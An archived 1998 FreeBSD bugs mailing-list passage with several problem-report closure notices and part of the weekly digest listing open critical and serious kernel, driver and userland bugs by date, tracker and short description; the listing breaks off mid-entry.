freefall.freebsd.org (8.8.8/8.8.5) id JAA22256; Mon, 7 Sep 1998 09:17:55 -0700 (PDT) Date: Mon, 7 Sep 1998 09:17:55 -0700 (PDT) Message-Id: <199809071617.JAA22256@freefall.freebsd.org> To: seggers@semyam.dinoco.de, cracauer@FreeBSD.ORG, freebsd-bugs@FreeBSD.ORG Subject: Re: i386/7725 Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Synopsis: /usr/bin/linux can leave garbage in /tmp State-Changed-From-To: open-closed State-Changed-By: cracauer State-Changed-When: Mon Sep 7 18:16:46 MEST 1998 State-Changed-Why: Fixed in -current, will commit to -stable after test period. Load linux emulator lkm only when not already loaded. This avoids leftover files in /tmp. Script slightly modified from PR version to use fewer processes. Thanks! To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Mon Sep 7 09:32:38 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id JAA23046 for freebsd-bugs-outgoing; Mon, 7 Sep 1998 09:32:38 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id JAA23040; Mon, 7 Sep 1998 09:32:35 -0700 (PDT) (envelope-from cracauer@FreeBSD.org) From: Martin Cracauer Received: (from cracauer@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id JAA22787; Mon, 7 Sep 1998 09:32:35 -0700 (PDT) Date: Mon, 7 Sep 1998 09:32:35 -0700 (PDT) Message-Id: <199809071632.JAA22787@freefall.freebsd.org> To: dom@phmit.demon.co.uk, cracauer@FreeBSD.ORG, freebsd-bugs@FreeBSD.ORG Subject: Re: bin/7657 Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Synopsis: Slight change for /etc/magic State-Changed-From-To: open-closed State-Changed-By: cracauer State-Changed-When: Mon Sep 7 18:32:09 MEST 1998 State-Changed-Why: Commited to -current and -stable. Thanks! To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Mon Sep 7 10:02:11 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id KAA28169 for freebsd-bugs-outgoing; Mon, 7 Sep 1998 10:02:11 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id KAA28069; Mon, 7 Sep 1998 10:01:58 -0700 (PDT) (envelope-from cracauer@FreeBSD.org) From: Martin Cracauer Received: (from cracauer@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id KAA23933; Mon, 7 Sep 1998 10:01:57 -0700 (PDT) Date: Mon, 7 Sep 1998 10:01:57 -0700 (PDT) Message-Id: <199809071701.KAA23933@freefall.freebsd.org> To: sec@42.org, cracauer@FreeBSD.ORG, freebsd-bugs@FreeBSD.ORG Subject: Re: bin/7507 Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Synopsis: test cannot test for sockets State-Changed-From-To: suspended-closed State-Changed-By: cracauer State-Changed-When: Mon Sep 7 18:59:12 MEST 1998 State-Changed-Why: Your patch had been committed to -current and will be committed to -stable after a short wait period. Thanks! To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Mon Sep 7 10:20:22 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id KAA01190 for freebsd-bugs-outgoing; Mon, 7 Sep 1998 10:20:22 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id KAA01115; Mon, 7 Sep 1998 10:20:07 -0700 (PDT) (envelope-from cracauer@FreeBSD.org) From: Martin Cracauer Received: (from cracauer@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id KAA24536; Mon, 7 Sep 1998 10:20:05 -0700 (PDT) Date: Mon, 7 Sep 1998 10:20:05 -0700 (PDT) Message-Id: <199809071720.KAA24536@freefall.freebsd.org> To: rivers@dignus.com, cracauer@FreeBSD.ORG, freebsd-bugs@FreeBSD.ORG Subject: Re: conf/7366 Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Synopsis: /tmp/.X* not removed by /etc/rc if clear_tmp_enable != YES State-Changed-From-To: open-closed State-Changed-By: cracauer State-Changed-When: Mon Sep 7 19:18:56 MEST 1998 State-Changed-Why: A patch like you suggest has been applied to 3.0-current and will be in -stable if noone objects for some time. Thanks! To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Mon Sep 7 11:17:37 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id LAA09394 for freebsd-bugs-outgoing; Mon, 7 Sep 1998 11:17:37 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id LAA09378 for ; Mon, 7 Sep 1998 11:17:30 -0700 (PDT) (envelope-from owner-bugmaster@freebsd.org) Received: (from peter@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id LAA25497 for freebsd-bugs; Mon, 7 Sep 1998 11:00:15 -0700 (PDT) Date: Mon, 7 Sep 1998 11:00:15 -0700 (PDT) Message-Id: <199809071800.LAA25497@freefall.freebsd.org> X-Authentication-Warning: freefall.freebsd.org: peter set sender to owner-bugmaster@freebsd.org using -f From: FreeBSD bugmaster To: FreeBSD bugs list Subject: Current problem reports Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Current FreeBSD problem reports The following is a listing of current problems submitted by FreeBSD users. These represent problem reports covering all versions including experimental development code and obsolete releases. Bugs can be in one of several states: o - open A problem report has been submitted, no sanity checking performed. a - analyzed The report has been examined by a team member and evaluated. f - feedback The problem has been solved, and the originator has been given a patch or a fix has been committed. The PR remains in this state pending a response from the originator. s - suspended The problem is not being worked on. This is a prime candidate for somebody who is looking for a project to do. If the problem cannot be solved at all, it will be closed, rather than suspended. c - closed A problem report is closed when any changes have been integrated, documented, and tested. Critical problems S Submitted Tracker Resp. Description ------------------------------------------------------------------------------- a [1995/01/11] i386/105 bde Distributed libm (msun) has non-standard o [1996/06/05] kern/1293 Fatal trap 12: page fault while in kernel s [1996/07/15] bin/1387 Group file errors cause absolute havoc [P o [1996/10/08] kern/1744 peter run queue or proc list smashed 4 times in f [1996/10/28] kern/1919 se access to files/directories fails, gives o [1996/12/20] bin/2258 wollman route add/delete [network] xxx.yyy.zzz.0 o [1997/01/03] conf/2367 gibbs Buslogic SCSI driver bad probe of 742A EI f [1997/02/11] kern/2717 Panic with daily script (find) o [1997/03/08] kern/2923 panic: vm_fault: fault on nofault entry, o [1997/05/01] i386/3462 yokota using a PS/2 mouse causes kernel trap in o [1997/05/24] kern/3674 peter NFS in 2.2 RELEASE hangs. o [1997/06/01] kern/3752 peter NFS dirs under -current still have proble o [1997/06/01] kern/3753 peter "make" hangs when building in an NFS dir o [1997/06/25] kern/3949 sos The WD controller probe can fail when it o [1997/07/03] kern/4021 peter Local mount of a local NFS exported direc o [1997/07/31] kern/4200 peter NFS: "vm_fault: fault on nofault entry" w o [1997/08/11] kern/4273 kernel page faults with heavy disk access o [1997/08/12] kern/4289 kernel panic: vm_fault: fault on nofault o [1997/08/18] kern/4332 gibbs System crash after SCSI DAT tape access. o [1997/08/18] bin/4333 gibbs Dump backup utility completely crashes th o [1997/08/20] kern/4345 Kernel panic is caused by passing file de o [1997/09/02] kern/4453 2.2.2 lockup on restart with ASUS-TX97 mo o [1997/10/01] kern/4673 Two panics, now crash dumps, always in re o [1997/10/25] kern/4849 2.2.5-RELEASE does not detect TI PCI-1130 o [1997/10/25] kern/4851 adaptec 2940U hangs system if scsi tape d o [1997/10/27] kern/4864 Boot Failure in FreeBSD 2.2.5 RELEASE, ma o [1997/10/28] misc/4876 SCSI hard disks die too often o [1997/11/07] kern/4968 No flow control setting seems to make the o [1997/11/10] kern/4996 peter NFS crash, possibly related to file bigge o [1997/11/20] kern/5117 panic: biodone: buffer not busy o [1997/11/23] kern/5130 Kernel panic GPF imediatly on loading ker s [1997/11/24] bin/5139 portmap does not find interfaces correctl o [1997/11/25] bin/5148 peter mode of file and access on NFS mounted p f [1997/12/04] i386/5223 mount_msdos /dev/fd0.1440 /mnt and failur f [1997/12/21] kern/5355 Fix for NULLFS problems s [1998/01/15] i386/5493 [PATCH] aic6330.c: kernel freeze when I a o [1998/01/26] bin/5572 A major time step blows cron up, runs tho o [1998/01/28] kern/5592 ffs_inode_hash_lock can get permanently l o [1998/01/28] i386/5594 System not bootable when bad partition ty o [1998/02/03] kern/5641 running processes at the IDLE priority (i o [1998/02/10] kern/5702 problem with address network routing o [1998/02/10] kern/5703 CDROM Media Error triggers complete syste o [1998/02/10] kern/5709 Fatal trap 12: page fault in kernel mode o [1998/02/12] bin/5732 2.2.5 Won't install using partition creat o [1998/03/01] kern/5886 2.2-STABLE crashes when unmounting a busy o [1998/03/01] kern/5895 Kernal dumps caused by fork? o [1998/03/02] kern/5898 2.2-stable kernel panics pmap_relase: fre o [1998/03/13] kern/5994 Kernel Panics on FreeBSD-3.0 current SMP o [1998/03/14] kern/6006 cy driver panics machine when a user dial o [1998/03/22] kern/6102 panic: biodone: buffer not busy o [1998/03/23] bin/6121 peter gethostbyname(3) no longer returns NO_DAT o [1998/03/25] kern/6133 optical drive with 1024-byte (1k) sectors o [1998/03/27] kern/6147 syncronus ufs does not sync o [1998/03/29] bin/6168 tn3270 gets undefined symbol error on sta o [1998/04/11] kern/6274 panic: handle_workitem_freeblocks: block o [1998/04/19] kern/6349 luigi Luigi's sound driver stall wihen it outpu o [1998/04/30] kern/6465 File contents are zeroed after reboot f [1998/05/08] bin/6552 syslog stops working o [1998/05/13] bin/6627 TCP-based RPC denial-of-service attack s [1998/05/13] kern/6630 [PATCH] Fix for Cyrix I8254 bug s [1998/05/15] bin/6649 imp normal users can initiate gigantic ping f o [1998/05/19] kern/6689 kern_physio.c splits requests breaking cd o [1998/05/19] i386/6693 gibbs computer hang for timeout in scsi control f [1998/05/19] kern/6694 Network hangs, with "No buffers available o [1998/05/23] kern/6732 PCCARD kernel panic in sio driver s [1998/06/03] kern/6853 peter Having an inactive de0 in system leads to o [1998/06/06] misc/6873 FreeBSD 2.2.6 freezes o [1998/06/08] conf/6896 gibbs cannot boot installation diskette with AH o [1998/06/11] kern/6914 FreeBSD 2.2.6-RELEASE and NFS is UNSTABLE o [1998/06/14] i386/6944 icu_ipl.s does has a case commented as ca o [1998/06/16] kern/6964 Problems with cam-980520 code in FreeBSD- o [1998/06/16] ports/6969 jfitz cyrus won't compile o [1998/06/22] kern/7024 gibbs SCSI problem with FreeBSD 2.2.6-RELEASE a o [1998/06/23] kern/7028 Panic in vinvalbuf when appending/looking o [1998/06/24] kern/7042 No buffer space available a [1998/07/12] kern/7264 gibbs Buslogic BT 950 scsi card not detected o [1998/07/13] kern/7272 mountpoint on NFS server can be removed b o [1998/07/15] kern/7288 /kernel: panic: ffs_alloccg: map corrupte o [1998/07/19] ports/7318 jkh pkg_add ignores missing dependencies o [1998/07/21] bin/7358 [PATCH] Security patches for locatedb etc o [1998/07/21] i386/7361 AHA-2940UW, Micron Millenia, ahc. Driver o [1998/07/27] kern/7418 File corruption occurs when shared+ro mma o [1998/08/06] ports/7513 se KDE kdm display manager doesn't work (and f [1998/08/07] i386/7528 install hangs @ probing devices screen wi o [1998/08/07] ports/7529 se kdehelp from stock kdebase-1.0 package do o [1998/08/12] kern/7596 serious data integrity problem when readi o [1998/08/14] kern/7611 custom-builtkernel causes fatal trap 12: o [1998/08/14] bin/7614 disklabel fails to write labal on scsi di o [1998/08/15] kern/7622 Kernel panic with Fatal trap 18. o [1998/08/16] i386/7633 panic: page fault on install with boot.fl o [1998/08/17] i386/7646 My system is freeze after X starup. o [1998/08/17] kern/7649 /sys/netinet/if_ether.c: "permanent" reco o [1998/08/18] i386/7675 2.2.7 missed driver support for Compaq Ne o [1998/09/02] ports/7804 ports cfengine (as installed by /stand/sysinsta o [1998/09/03] kern/7822 Machine Reboots without reason o [1998/09/05] ports/7836 ports Update port: japanese/p5-jcode.pl for Per o [1998/09/06] kern/7843 Unable to install FreeBSD on Tekram DC-39 o [1998/09/07] ports/7849 ports Update ports: japanese/perl5 for perl5.00 98 problems total. Serious problems S Submitted Tracker Resp. Description ------------------------------------------------------------------------------- o [1995/03/02] misc/229 bde acos() core dump a [1995/03/20] kern/260 davidg msync and munmap don't bother to update m s [1995/05/16] kern/425 arp entries not getting removed when inte f [1995/06/17] kern/527 dufault dump causes assertion in ncr.c o [1995/07/02] kern/579 bde sio: RS_IBUFSIZE at 256 bytes serial line s [1995/07/29] kern/638 Transmitted packets not passed to bpf in o [1995/10/18] bin/786 wpaul Problem with NIS and large group maps a [1996/02/17] bin/1030 cracauer /bin/sh does not pass environment variabl s [1996/03/06] kern/1067 panic: ufs_lock: recursive lock not expec o [1996/05/24] misc/1247 yokota Conflicting header files f [1996/05/26] kern/1256 ZNYX 314 mysterously looses packets o [1996/06/07] kern/1301 davidg DEC FDDI/PCI Adapter: halt code = 6 (DMA f [1996/08/03] bin/1461 Incorrect address binding of Kerberized r o [1996/08/04] kern/1467 gibbs scsi_prevent causing tape problems on clo o [1996/08/18] kern/1512 dg Use of madvise may may cause bad memory m f [1996/08/22] kern/1533 dyson Machine can be panicked by a userland pro o [1996/09/19] bin/1650 telnet encryption with char-mode and asci s [1996/09/21] kern/1661 ft driver hangs uninterruptably at "bavai o [1996/09/29] kern/1689 wollman TCP extensions throttles distant connecti o [1996/10/01] bin/1702 phk installing of tcl manpages fails from mak o [1996/10/04] kern/1723 gibbs kernel fault when doing scsi reprobe o [1996/10/04] kern/1724 gibbs HP colorado T4000S tape drive hangs syste o [1996/10/04] kern/1726 panic in kmem_malloc (dump available) o [1996/10/15] kern/1812 dg vnodes are left in a locked state o [1996/10/15] kern/1814 cy driver gets deadlocked sometimes o [1996/10/20] kern/1848 breakpoints may be set in shared librarie f [1996/10/21] kern/1856 peter read-only nfs mount: panic leaf should be a [1996/10/22] ports/1866 wosch popclient flushes remote mailbox even wit s [1996/10/26] bin/1892 install(1) removes target file s [1996/11/08] gnu/1981 ypserv handles null key incorrectly o [1996/11/13] ports/2000 asami obsolete software in distfiles directory a [1996/11/13] bin/2001 vi confused about lines to display a [1996/11/14] kern/2014 sos Console keyboard lockup problem o [1996/11/18] kern/2053 peter de0 driver don't work at 100M for Compex s [1996/12/03] kern/2142 FP mask not saved for signal handlers s [1996/12/22] ports/2268 erich libc from linux emulator does not use /et o [1996/12/22] kern/2270 Hayes ESP serial card locks system as of a [1996/12/30] kern/2325 quota.user enlarged, no boot on 2.2-BETA o [1996/12/30] kern/2330 changing root device to sd0a - ncr0: abor o [1997/01/08] kern/2425 amd driver does not reprobe devices. o [1997/01/09] bin/2430 mountd stops on loading if subnet mask is o [1997/01/09] i386/2431 tegge panic: get_pv_entry: cannot get a pv_entr o [1997/01/12] i386/2471 Sound: Reset failed - Can't reopen device o [1997/01/13] misc/2479 sos NEC CD-ROM NOT RECOGNIZED; MATROX MISTIQU o [1997/01/13] bin/2489 steve gnats mangles sections o [1997/01/16] kern/2507 Renaming DOS directories with "mv" causes o [1997/01/20] bin/2541 tegge cd (using /bin/sh) may leave you in the w o [1997/01/20] kern/2545 se < sd0(ncr0:6:0): COMMAND FAILED ==> Not a [1997/01/21] bin/2549 sos cdcontrol refuses to play audio CDs from o [1997/02/02] kern/2640 2.2-RELENG leaks memory (router/pppd serv s [1997/02/03] kern/2647 changing existing route to -static crashe o [1997/02/05] kern/2667 wollman bpfattach can hang the system o [1997/02/05] bin/2671 Run-away processes using all CPU time a [1997/02/06] kern/2675 lkmcioctl() is not consistent and careful o [1997/02/07] kern/2690 asami When Using ccd in a mirror mode, file cre o [1997/02/08] kern/2695 sio1 (16540 serial port) is not recognize o [1997/02/09] kern/2698 After rewind I cannot read a tape; blocks o [1997/02/12] kern/2719 added support for magneto-optical SCSI di o [1997/02/14] bin/2736 No boot block if no FreeBSD partitions on o [1997/02/15] kern/2742 panic: leaf should be empty o [1997/02/15] bin/2747 davidn cannot submit at jobs from within an at j o [1997/02/16] gnu/2749 peter cvs export using remote cvs fails - CVS/T o [1997/02/17] kern/2751 asami 2GB limitation on CCD device partitions s o [1997/02/19] kern/2768 ktrace(1) -i dumps corrupted trace data o [1997/02/19] bin/2769 fsck needs several runs to clean up bad/d o [1997/02/19] kern/2770 panic: vm_fault: fault on nofault entry o [1997/02/19] kern/2771 panic: bad dir o [1997/02/19] kern/2773 peter bad dir panic o [1997/02/20] bin/2785 wpaul callbootd uses an unitialized variable o [1997/02/20] gnu/2786 gcc version 2.7.2.1 C compiler slows down o [1997/02/21] misc/2793 libc_r make fscanf failure o [1997/02/22] kern/2800 DDS large data writing probrem o [1997/02/25] kern/2815 Custom Kernel crashes o [1997/03/01] kern/2840 mlock+minherit+fork+munlock causes panics o [1997/03/03] kern/2858 peter FreeBSD NFS client can't mount filesystem o [1997/03/04] kern/2873 the od0 devies does not handle a Maxoptix o [1997/03/08] kern/2919 vm_fault: fault on nofault entry, addr: f o [1997/03/11] bin/2948 can't dump 640MB optical disks o [1997/03/12] kern/2965 st0 hang/fail on reading 4mm DAT tape for o [1997/03/12] bin/2973 output of iostat is wrong. o [1997/03/15] kern/2991 RTF_LLINFO routes remain when interface i o [1997/03/18] kern/3021 panic after sync during reboot o [1997/03/21] kern/3054 OPL3 sound off by one note o [1997/03/21] bin/3055 umount -f does not work o [1997/04/01] bin/3170 vi freaks and dump core if user doesn't e o [1997/04/05] kern/3201 peter de0 not re-enabled after hub down o [1997/04/05] ports/3205 jmz Mtools-3.0 attempts to flock() a disk par o [1997/04/06] kern/3216 panic: pmap_zero_page: CMAP busy o [1997/04/06] kern/3219 sppp or arnet gets looped after connectio o [1997/04/09] kern/3244 ipfw flush closes connections o [1997/04/10] bin/3246 mtree -c should escape whitespace and spe o [1997/04/15] bin/3305 Can't do encrypted rlogin into self o [1997/04/18] kern/3327 using gdb may cause hanging processes. o [1997/04/19] bin/3355 se ncrcontrol fails when -DFAILSAFE in kerne o [1997/04/25] kern/3381 peter 2.2.x kernel panic on traversing and remo o [1997/04/25] kern/3384 telldir-seekdir can cause livelock o [1997/04/28] bin/3406 rich Fresh Internet Install - Permissions on f o [1997/05/01] gnu/3441 C++ exceptions don't work in shared libra o [1997/05/01] kern/3463 netstat -I packet count increase on sl0 w o [1997/05/03] bin/3478 pwd_mkdb and passwd o [1997/05/04] i386/3502 Merge of if_ix* and if_ie* broke EE/16 su o [1997/05/06] bin/3524 rlogin doesn't read $HOSTALIASES for non- o [1997/05/07] kern/3527 peter if_de.c doesn't recognize Kingston card p o [1997/05/09] kern/3564 using MPU401 driver pagefaults kernel o [1997/05/09] kern/3569 ex0 driver doesn't work with EtherExpress o [1997/05/11] misc/3578 defining CXXFLAGS in /etc/make.conf or en o [1997/05/12] kern/3579 peter de driver doesn't support newer SMC 9332 o [1997/05/12] kern/3581 intermittent trap 12 in lockstatus() o [1997/05/12] kern/3582 panic: bad dir (mangled entry) in 2.2-STA o [1997/05/13] conf/3591 parts in rc.local have no effects in rc.* s [1997/05/25] kern/3685 [PATCH] panic: fdesc attr o [1997/05/30] conf/3725 Cirrus Logic PCMCIA Controller Support o [1997/05/30] kern/3726 peter process hangs in 2.2-stable when working o [1997/05/30] kern/3727 SCSI II tape support broken o [1997/06/01] conf/3750 phk Potential improvements to rc.firewall o [1997/06/03] kern/3771 NFS hangs when writing to local FS re-mou o [1997/06/04] i386/3779 changing cursor to blinking block causes o [1997/06/07] conf/3807 mitsumi cd-rom fx800 (8x cd-rom) is not r o [1997/06/08] gnu/3810 cvs can't handle multiple multiple-path d o [1997/06/16] misc/3883 @+netgroup entries break +NIS-user entrie o [1997/06/18] kern/3899 df while unmounting floppy crashes 2.2.2 o [1997/06/19] kern/3909 joerg A patch supporting some new worm drivers o [1997/06/19] gnu/3910 sort(1) of 2.2.1R doesn't work in special o [1997/06/28] misc/3980 peter access via NFS fails during mount-operati o [1997/06/29] bin/3986 rdist seg faults when target machine is d o [1997/07/02] kern/4012 peter 2.2-RELEASE/Digital UNIX NFSv3 0 length f o [1997/07/02] misc/4013 boot floppy hangs if IDE ZIP Drive presen o [1997/07/04] kern/4032 gibbs During recovery from scsi errors, incorre s [1997/07/06] gnu/4042 gdb stackframe in static library shows no o [1997/07/07] ports/4050 jfitz mrtg: rateup dumps core with malloc_optio o [1997/07/12] bin/4078 sos Typed password to log in on console and i o [1997/07/17] kern/4115 peter SunOS NFS file has wrong owner if creator o [1997/07/26] bin/4176 restore gets confused when run over pipe o [1997/07/27] ports/4179 fenner lmbench-1.1 dumps core after asking for m o [1997/07/28] kern/4186 peter nfsiod, panic, page fault in kernel mode o [1997/07/30] kern/4194 peter kernel pci driver for Digital 21041 Ether o [1997/08/06] kern/4240 kernel fails to recognise 2nd serial port o [1997/08/08] conf/4252 peter sendmail doesn't use smrsh by default o [1997/08/09] kern/4256 gibbs ahc driver: kernel goes to strange state o [1997/08/10] kern/4260 EOF handling in st(4) is broken o [1997/08/10] kern/4265 Panic in dsinit when multiple FreeBSD sli o [1997/08/10] kern/4270 ch driver does not use bounce buffers o [1997/08/12] kern/4284 le0 goes OACTIVE after some time o [1997/08/13] kern/4295 SL/IP difficulties between 2.2.1 & 2.2.2 o [1997/08/16] kern/4312 arp table gets messed up, syslog "gateway o [1997/08/17] kern/4327 peter NFS over TCP reconnect problem s [1997/08/19] kern/4338 New device driver (Cyclades Cyclom-Z) o [1997/08/22] bin/4357 wosch bug in adduser script causes duplicate UI o [1997/08/23] bin/4366 bad144 crashes if checking over 2gb o [1997/08/25] kern/4381 mount -t msdos causes panic:vm_fault o [1997/08/25] kern/4382 CURRENT kernel has a "free vnode isn't" p o [1997/08/27] ports/4405 jfitz ascend-radius port is out-of-date o [1997/09/02] kern/4454 X drops characters/locks up keyboard when o [1997/09/03] bin/4460 lpd hangs exiting (IE in ps table) o [1997/09/07] kern/4487 Kernel panic executing a directory o [1997/09/08] bin/4497 Reverse DNS fails for some CIDR *.IN-ADDR o [1997/09/09] kern/4505 Support for Gravis UltraSound PnP card o [1997/09/10] kern/4508 peter nfs3 data integrity problems o [1997/09/11] kern/4513 System lockup appears to be VM related. o [1997/09/14] i386/4533 Server with Cyclom-Y PCI card rebooted at o [1997/09/14] kern/4544 Linux emulator problems when MAXDSIZ is i o [1997/09/19] bin/4582 integer overflow in 'sa -km' o [1997/09/19] bin/4585 termcap search fails too early o [1997/09/20] kern/4588 peter NFS access locks up o [1997/09/21] kern/4600 peter nfs lookups might give incorrect result o [1997/09/26] conf/4634 peter Sendmail Problem o [1997/09/27] bin/4638 telnet tries to resolve numerical IP addr o [1997/09/30] kern/4663 checkalias panic o [1997/10/01] kern/4666 dfr umount -f doesn't seem to work o [1997/10/01] bin/4672 rdist does not do hard links right when t o [1997/10/03] bin/4683 restore doesn't correctly handle "sparse" o [1997/10/05] docs/4691 no documentation for mk_cmds(1) o [1997/10/15] kern/4772 ATAPI CD (bootable) causes kernel panic o [1997/10/16] ports/4773 torstenb Error in posting news items to INN server o [1997/10/16] kern/4774 trying to use IBCS2 shared libraries cras o [1997/10/16] kern/4782 Under certain conditions, several krsh's o [1997/10/18] bin/4795 glitch in /bin/sh cd command o [1997/10/18] ports/4798 jmz setuid-root Xserver problem o [1997/10/24] kern/4843 48 meg double fault moved to 64 meg in 2. o [1997/10/25] bin/4850 peter Named crashes with "rm_datum: DB_F_ACTIVE o [1997/10/26] kern/4859 SMP kernel panics with timeout table full o [1997/10/28] bin/4884 the version of amd in 2.2.5-RELEASE appea o [1997/10/31] bin/4907 Oct 33* Daylight Savings Time ends; clock o [1997/10/31] kern/4909 de ethernet driver is crazy on 100base o [1997/11/01] bin/4913 peter Large mail messages can cause mail.local o [1997/11/03] kern/4927 kernel does not check any quota and permi o [1997/11/04] bin/4939 uuxqt unable to execute rnews program o [1997/11/05] kern/4945 continued failure to use the Adaptec 1460 o [1997/11/05] bin/4949 rpc.rquotad stat()s fs with quota file in o [1997/11/09] kern/4990 peter NFS hangs under FastEthernet. 1024 Bytes o [1997/11/10] bin/4998 peter mail and more do not work well with being o [1997/11/10] misc/5001 During installation sc0 device is require o [1997/11/10] misc/5005 f2c is buggy and seriously outdated (agai o [1997/11/11] bin/5008 libc_r not working at static linking o [1997/11/15] conf/5062 login.access not evaluated correctly o [1997/11/18] bin/5084 wrong "term" for internal shell o [1997/11/18] kern/5085 System crash during mount command for CD o [1997/11/20] bin/5105 mount_cd9660 or mount -t cd9660 fails to o [1997/11/20] misc/5107 rebuilding of whatis database does not ca o [1997/11/22] gnu/5126 C++ compiler bug (assembly output) o [1997/11/23] i386/5128 Adaptec 2940U Timeouts with QUANTUM disk s [1997/12/02] bin/5189 rcmd(3) only allows one hardcoded connect s [1997/12/02] conf/5191 [PATCH] fsck during boot fails due to lac s [1997/12/03] misc/5207 Examples for /etc are not in /usr/share/e o [1997/12/06] kern/5244 F00F workaround dosn't always work on SMP o [1997/12/13] kern/5285 quotas do not work properly with setuid p s [1997/12/14] bin/5297 make incompatibility with System V style o [1997/12/19] misc/5343 booteasy problem o [1997/12/19] kern/5347 peter DEC (de0) ethernet card has no buffers af a [1997/12/21] docs/5358 doc USWC write posting must be turned off on o [1997/12/30] kern/5396 fdesc fs crashes system o [1997/12/31] i386/5401 peter de0 selects wrong media when reconnected f [1998/01/08] kern/5456 After writing more than 100MB to SCSI Exa f [1998/01/15] misc/5499 when setting up the partition for free bs o [1998/01/15] bin/5500 "invalid hostname" is logged instead of I o [1998/01/16] kern/5513 luigi new PnP code is BAD (soundcards) s [1998/01/19] kern/5522 [PATCH] ip_input.c & ip_output.c problems o [1998/01/20] ports/5530 asami fetch (in make fetch stage) do not use pa o [1998/01/22] bin/5548 syslogd core dumps when signaled o [1998/01/22] misc/5552 RE: Linux append=reboot=bios parameter im o [1998/01/26] misc/5574 bootpd gets timezone incorrectly o [1998/01/27] kern/5587 session id gets dropped o [1998/01/29] kern/5598 Support for magneto-optic SCSI devices wi s [1998/01/30] bin/5604 setenv(3) function has memory leak, other o [1998/01/30] kern/5606 Kernel Panic running Linux Binary without o [1998/01/31] kern/5611 bind does not check sockaddr->sin_family o [1998/02/01] kern/5618 kernel memory leak in routetbl. o [1998/02/01] kern/5624 dumping to tape causes scsi bus reset o [1998/02/04] kern/5643 NCR 810/815 do not handle rewind correctl o [1998/02/05] bin/5661 /sbin/dump never finishes o [1998/02/06] misc/5673 2.2-980204-SNAP installer runs out of dis o [1998/02/09] bin/5693 groff -mm or groff -mmm ??? o [1998/02/10] i386/5698 LPIP causes spurious reboots o [1998/02/11] misc/5722 Brazil can't decide on daylight savings o [1998/02/12] kern/5728 peter NFS hangs o [1998/02/12] bin/5733 cp -r cannot copy un-writable directories o [1998/02/15] i386/5760 3.0-CURRENT freezes at mount root stage o o [1998/02/17] gnu/5767 man leaves partially formatted cat pages o [1998/02/19] kern/5794 Kernel Panic o [1998/02/23] kern/5827 kernel panics in current (3.0) o [1998/02/24] kern/5839 vm_page_unwire: invalid wire count: 0 o [1998/02/25] bin/5845 in sh, set -- `getopt ...` always returns o [1998/02/25] ports/5850 me xemacs-20.3 contains bad send-pr o [1998/02/25] misc/5852 Page fault or error caused by writing to o [1998/02/27] bin/5867 peter pppd or FreeBSD ? o [1998/02/28] kern/5877 sb_cc counts control data as well as data o [1998/03/01] kern/5890 peter NFS server Side say NFSERR_BAD_COOKIE (rm o [1998/03/01] kern/5896 FreeBSD host can't network-write to other o [1998/03/02] kern/5904 panic: newfs o [1998/03/06] ports/5933 ports emacsserver (19.34b) hostname in /tmp/ese o [1998/03/09] bin/5959 Cannot set up clocal gettys o [1998/03/09] bin/5961 dup2 wrapper in libc_r is incomplete o [1998/03/10] kern/5965 FreeBSD TCP/IP connectivity get buried by o [1998/03/10] kern/5969 non-root user can reboot/lock up system o [1998/03/10] ports/5970 ports psmisc ports uploaded to freebsd.org:/pub o [1998/03/11] kern/5975 can't boot freebsd: fatal trap12: page fa o [1998/03/11] kern/5979 julian sd.c doesn't validate all mode sense 4 va o [1998/03/12] kern/5991 panic: free vnode isn't o [1998/03/14] conf/6002 peter /etc/mail/sendmail.cf.addtions seems to l o [1998/03/14] bin/6004 cron in -CURRENT sometimes fails to proce o [1998/03/14] bin/6005 -CURRENT cron dies after short periods of o [1998/03/16] kern/6035 The system "sort-of" hangs when playing b o [1998/03/19] kern/6066 lnc driver does not work correctly with A o [1998/03/19] bin/6071 2.2.6-980315-BETA up grade option problem o [1998/03/20] bin/6074 Incremental dumps are backing up unchange o [1998/03/21] bin/6087 sh doesn't work properly on certain confi o [1998/03/22] kern/6099 LPIP to slow machine causes hang o [1998/03/22] kern/6103 panic: ffs_valloc: dup alloc o [1998/03/28] bin/6162 kinit does not default to the current use o [1998/03/30] ports/6180 max youbin port has root-exploitable security o [1998/04/03] kern/6203 kernel panics with "blkfree: freeing free o [1998/04/03] conf/6205 NFS/NIS freak out o [1998/04/04] kern/6212 Two bugs with MFS filesystems fixed, one 